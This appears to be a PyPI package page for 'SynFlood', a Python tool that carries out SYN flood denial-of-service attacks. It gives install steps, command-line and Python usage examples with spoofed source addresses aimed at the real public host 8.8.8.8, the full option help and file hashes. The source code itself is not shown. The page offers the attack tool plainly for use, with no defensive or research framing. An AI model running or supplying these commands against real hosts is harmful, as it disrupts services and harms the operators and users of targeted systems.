This package implements a SYN flood attack (DOS attack: Denial Of Service).
Project description
SynFlood
Description
This package implements a SYN flood attack (DOS attack: Denial Of Service).
Requirements
This package require:
- python3
- python3 Standard Library
- Scapy
Installation
pip install SynFlood
Usages
Command lines
python3 -m SynFlood --help
python3 SynFlood.pyz --verbose --dport 80 --source 0.0.0.0 --sport 45586 --interface 172.16.0. --data abc 8.8.8.8
SynFlood -h
SynFlood 8.8.8.8
SynFlood -v -p 80 -s 0.0.0.0 -P 45586 -i 172.16.0. -d abc 8.8.8.8
Python3
from SynFlood import synflood, conf_iface
synflood("8.8.8.8", 80, "0.0.0.0", 45586)
synflood("8.8.8.8", 80, "0.0.0.0", 45586, b"abc", conf_iface)
Link
Help
usage: SynFlood [-h] [--dport DPORT] [--source SOURCE] [--sport SPORT] [--data DATA] [--verbose] [--interface INTERFACE] target
This script implements a SynFlood attack.
positional arguments:
target Target IP or hostname.
optional arguments:
-h, --help show this help message and exit
--dport DPORT, -p DPORT
Destination port.
--source SOURCE, -s SOURCE
Source IP.
--sport SPORT, -P SPORT
Source port.
--data DATA, -d DATA Additional data
--verbose, -v Mode verbose (print debug message)
--interface INTERFACE, -i INTERFACE
Part of the IP, MAC or name of the interface
Licence
Licensed under the GPL, version 3.
Project details
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
SynFlood-1.1.4.tar.gz
(17.3 kB
view details)
File details
Details for the file SynFlood-1.1.4.tar.gz
.
File metadata
- Download URL: SynFlood-1.1.4.tar.gz
- Upload date:
- Size: 17.3 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/3.2.0 pkginfo/1.6.1 requests/2.25.0 setuptools/58.2.0 requests-toolbelt/0.9.1 tqdm/4.54.1 CPython/3.9.9
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | 523806bee6c2ce7cc6eb99a763ace304d88fecebb4a22dd268a2a9dbffa3f570 |
|
MD5 | 70ca981b0ba5648d6b4ffa1369429f95 |
|
BLAKE2b-256 | b669c81198583f7bff4b08be2f5a49c790294b6d473c6d4bb21b65fcbd022121 |